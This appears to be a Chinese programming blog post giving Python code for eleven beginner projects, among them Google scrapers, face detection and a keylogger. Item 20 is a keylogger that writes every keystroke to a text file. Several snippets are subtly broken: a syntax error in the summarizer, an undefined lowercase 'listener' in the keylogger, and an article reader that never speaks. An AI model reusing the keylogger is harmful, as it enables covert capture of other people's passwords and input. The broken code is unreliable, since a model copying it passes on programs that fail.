值得练手的22个Python迷你程序【含代码】

嗨嗨，我是小圆 ~ 这里还剩11个迷你程序，赶紧看完点赞收藏起来吧！赶紧用起来

前11个程序的文章在这里 ~

https://blog.csdn.net/aliYz/article/details/126724397?spm=1001.2014.3001.5502

12.闹钟

目的：编写一个创建闹钟的Python脚本。

提示：你可以使用date-time模块创建闹钟，以及playsound库播放声音。

from datetime import datetime   
from playsound import playsound
alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
    now = datetime.now()
    current_hour = now.strftime("%I")
    current_minute = now.strftime("%M")
    current_seconds = now.strftime("%S")
    current_period = now.strftime("%p")
    if(alarm_period==current_period):
        if(alarm_hour==current_hour):
            if(alarm_minute==current_minute):
                if(alarm_seconds==current_seconds):
                    print("Wake Up!")
                    playsound('audio.mp3') ## download the alarm sound from link
                    break

13.有声读物

目的：编写一个Python脚本，用于将Pdf文件转换为有声读物。

提示：借助pyttsx3库将文本转换为语音。

安装：pyttsx3，PyPDF2

14.天气应用

目的：编写一个Python脚本，接收城市名称并使用爬虫获取该城市的天气信息。

提示：你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。

安装：requests，BeautifulSoup

from bs4 import BeautifulSoup
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
 
def weather(city):
    city=city.replace(" ","+")
    res = requests.get(f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',headers=headers)
    print("Searching in google......\n")
    soup = BeautifulSoup(res.text,'html.parser')   
    location = soup.select('#wob_loc')[0].getText().strip()  
    time = soup.select('#wob_dts')[0].getText().strip()       
    info = soup.select('#wob_dc')[0].getText().strip() 
    weather = soup.select('#wob_tm')[0].getText().strip()
    print(location)
    print(time)
    print(info)
    print(weather+"°C") 
 
print("enter the city name")
city=input()
city=city+" weather"
weather(city)

15.人脸检测

目的：编写一个Python脚本，可以检测图像中的人脸，并将所有的人脸保存在一个文件夹中。

提示：可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息，可以保存在一个文件中。

安装：OpenCV。

下载：haarcascade_frontalface_default.xml

https://raw.githubusercontent.com/opencv/opencv/master/data/haarcascades/haarcascade_frontalface_default.xml

import cv2
# Load the cascade
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
# Read the input image
img = cv2.imread('images/img0.jpg')
# Convert into grayscale
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# Detect faces
faces = face_cascade.detectMultiScale(gray, 1.3, 4)
# Draw rectangle around the faces
for (x, y, w, h) in faces:
    cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
    crop_face = img[y:y + h, x:x + w]  
    cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)
# Display the output
cv2.imshow('img', img)
cv2.imshow("imgcropped",crop_face)
cv2.waitKey()

16.提醒应用

目的：创建一个提醒应用程序，在特定的时间提醒你做一些事情(桌面通知)。

提示：Time模块可以用来跟踪提醒时间，toastnotifier库可以用来显示桌面通知。

安装：win10toast

from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
    print("Title of reminder")
    header = input()
    print("Message of reminder")
    text = input()
    print("In how many minutes?")
    time_min = input()
    time_min=float(time_min)
except:
    header = input("Title of reminder\n")
    text = input("Message of remindar\n")
    time_min=float(input("In how many minutes?\n"))
time_min = time_min * 60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}",
f"{text}",
duration=10,
threaded=True)
while toaster.notification_active(): time.sleep(0.005)     

17.维基百科文章摘要

目的：使用一种简单的方法从用户提供的文章链接中生成摘要。

提示：你可以使用爬虫获取文章数据，通过提取生成摘要

from bs4 import BeautifulSoup
import re
import requests
import heapq
from nltk.tokenize import sent_tokenize,word_tokenize
from nltk.corpus import stopwords
 
url = str(input("Paste the url"\n"))
num = int(input("Enter the Number of Sentence you want in the summary"))
num = int(num)
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
#url = str(input("Paste the url......."))
res = requests.get(url,headers=headers)
summary = ""
soup = BeautifulSoup(res.text,'html.parser') 
content = soup.findAll("p")
for text in content:
    summary +=text.text 
def clean(text):
    text = re.sub(r"\[[0-9]*\]"," ",text)
    text = text.lower()
    text = re.sub(r'\s+'," ",text)
    text = re.sub(r","," ",text)
    return text
summary = clean(summary)
print("Getting the data......\n")
##Tokenixing
sent_tokens = sent_tokenize(summary)
summary = re.sub(r"[^a-zA-z]"," ",summary)
word_tokens = word_tokenize(summary)
## Removing Stop words
word_frequency = {}
stopwords =  set(stopwords.words("english"))
for word in word_tokens:
    if word not in stopwords:
        if word not in word_frequency.keys():
            word_frequency[word]=1
        else:
            word_frequency[word] +=1
maximum_frequency = max(word_frequency.values())
print(maximum_frequency)          
for word in word_frequency.keys():
    word_frequency[word] = (word_frequency[word]/maximum_frequency)
print(word_frequency)
sentences_score = {}
for sentence in sent_tokens:
    for word in word_tokenize(sentence):
        if word in word_frequency.keys():
            if (len(sentence.split(" "))) <30:
                if sentence not in sentences_score.keys():
                    sentences_score[sentence] = word_frequency[word]
                else:
                    sentences_score[sentence] += word_frequency[word]
print(max(sentences_score.values()))
def get_key(val): 
    for key, value in sentences_score.items(): 
        if val == value: 
            return key 
key = get_key(max(sentences_score.values()))
print(key+"\n")
print(sentences_score)
summary = heapq.nlargest(num,sentences_score,key=sentences_score.get)
print(" ".join(summary))
summary = " ".join(summary)

18.获取谷歌搜索结果

目的：创建一个脚本，可以根据查询条件从某歌搜索获取数据。

from bs4 import BeautifulSoup 
import requests
 
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
def google(query):
    query = query.replace(" ","+")
    try:
        url = f'https://www.某歌.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8'
        res = requests.get(url,headers=headers)
        soup = BeautifulSoup(res.text,'html.parser')
    except:
        print("Make sure you have a internet connection")
    try:
        try:
            ans = soup.select('.RqBzHd')[0].getText().strip()
 
        except:
            try:
                title=soup.select('.AZCkJd')[0].getText().strip()
                try:
                    ans=soup.select('.e24Kjd')[0].getText().strip()
                except:
                    ans=""
                ans=f'{title}\n{ans}'
 
            except:
                try:
                    ans=soup.select('.hgKElc')[0].getText().strip()
                except:
                    ans=soup.select('.kno-rdesc span')[0].getText().strip()
 
    except:
        ans = "can't find on 某歌"
    return ans
 
result = google(str(input("Query\n")))
print(result)

获取结果如下：

19.货币换算器

目的：编写一个Python脚本，可以将一种货币转换为其他用户选择的货币。

提示：使用Python中的API，或者通过forex-python模块来获取实时的货币汇率。

安装：forex-python

20.键盘记录器

目的：编写一个Python脚本，将用户按下的所有键保存在一个文本文件中。

提示：pynput是Python中的一个库，用于控制键盘和鼠标的移动，它也可以用于制作键盘记录器。简单地读取用户按下的键，并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
 
 
keys=[]
def on_press(key):
    global keys
    #keys.append(str(key).replace("'",""))
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []     
def on_release(key):
    if key == Key.esc:
        return False
 
with listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

21.文章朗读器

目的：编写一个Python脚本，自动从提供的链接读取文章。

import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input("Paste article url\n"))
 
def content(url):
  res = requests.get(url)
  soup = BeautifulSoup(res.text,'html.parser')
  articles = []
  for i in range(len(soup.select('.p'))):
    article = soup.select('.p')[i].getText().strip()
    articles.append(article)
    contents = " ".join(articles)
  return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)
 
def speak(audio):
  engine.say(audio)
  engine.runAndWait()
 
contents = content(url)
## print(contents)      ## In case you want to see the content
 
#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file

22.短网址生成器

目的：编写一个Python脚本，使用API缩短给定的URL。

from __future__ import with_statement
import contextlib
try:
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode
try:
    from urllib.request import urlopen
except ImportError:
    from urllib2 import urlopen
import sys
 
def make_tiny(url):
    request_url = ('http://tinyurl.com/api-create.php?' + 
    urlencode({'url':url}))
    with contextlib.closing(urlopen(request_url)) as response:
        return response.read().decode('utf-8')
 
def main():
    for tinyurl in map(make_tiny, sys.argv[1:]):
        print(tinyurl)
 
if __name__ == '__main__':
    main()
-----------------------------OUTPUT------------------------
python url_shortener.py https://www.wikipedia.org/
https://tinyurl.com/buf3qt3

这下22个程序都发完啦。喜欢的话记得给我三连再走哦！！